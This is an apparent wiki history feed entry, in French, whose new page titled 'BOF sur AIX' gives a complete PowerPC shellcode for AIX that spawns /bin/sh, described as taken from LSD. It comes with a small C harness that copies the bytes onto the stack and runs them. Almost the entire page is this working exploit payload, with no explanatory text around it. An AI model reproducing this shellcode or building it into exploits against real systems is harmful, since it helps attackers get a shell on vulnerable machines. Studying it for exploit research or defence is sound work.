https://futex.re/mediawiki/index.php?action=history&feed=atom&title=1.2_BOF_sur_AIX 2026-05-13T16:19:13Z Historique des versions pour cette page sur le wiki MediaWiki 1.39.17 https://futex.re/mediawiki/index.php?title=1.2_BOF_sur_AIX&diff=1531&oldid=prev 2012-06-05T18:57:23Z

<p></p> <p><b>Nouvelle page</b></p><div>Exemple d&#039;un shellcode sur AIX<br /> <br /> /* shellcode.c&lt;br&gt;<br /> * ripped from lsd&lt;br&gt; <br /> */&lt;br&gt;<br /> char shellcode[] = /* 12*4+8 bytes */&lt;br&gt;<br /> &quot;\x7c\xa5\x2a\x79&quot; /* xor. r5,r5,r5 */ [L1]&lt;br&gt;<br /> &quot;\x40\x82\xff\xfd&quot; /* bnel &lt;shellcode&gt; */ [L2]&lt;br&gt;<br /> &quot;\x7f\xe8\x02\xa6&quot; /* mflr r31 */ [L3]&lt;br&gt;<br /> &quot;\x3b\xff\x01\x20&quot; /* cal r31,288(r31) */ [L4]&lt;br&gt;<br /> &quot;\x38\x7f\xff\x08&quot; /* cal r3,-248(r31) */&lt;br&gt;<br /> &quot;\x38\x9f\xff\x10&quot; /* cal r4,-240(r31) */&lt;br&gt;<br /> &quot;\x90\x7f\xff\x10&quot; /* st r3,-240(r31) */&lt;br&gt;<br /> &quot;\x90\xbf\xff\x14&quot; /* st r5,-236(r31) */&lt;br&gt;<br /> &quot;\x88\x5f\xff\x0f&quot; /* lbz r2,-241(r31) */&lt;br&gt;<br /> &quot;\x98\xbf\xff\x0f&quot; /* stb r5,-241(r31) */ [L10]&lt;br&gt;<br /> &quot;\x4c\xc6\x33\x42&quot; /* crorc cr6,cr6,cr6 */ [L11]&lt;br&gt;<br /> &quot;\x44\xff\xff\x02&quot; /* svca */ [L12]&lt;br&gt;<br /> &quot;/bin/sh&quot;&lt;br&gt;<br /> &quot;\x06&quot;;&lt;br&gt;<br /> ;&lt;br&gt;int main(void)&lt;br&gt;{&lt;br&gt;<br /> char burp[256];&lt;br&gt;&lt;br&gt;<br /> // On veut etre sur d&#039;etre en stack&lt;br&gt;<br /> memcpy(burp, shellcode, sizeof(shellcode)); &lt;br&gt;<br /> int jump[2]={(int)burp,0};&lt;br&gt;<br /> ((*(void (*)())jump)());&lt;br&gt;}</div>

Futex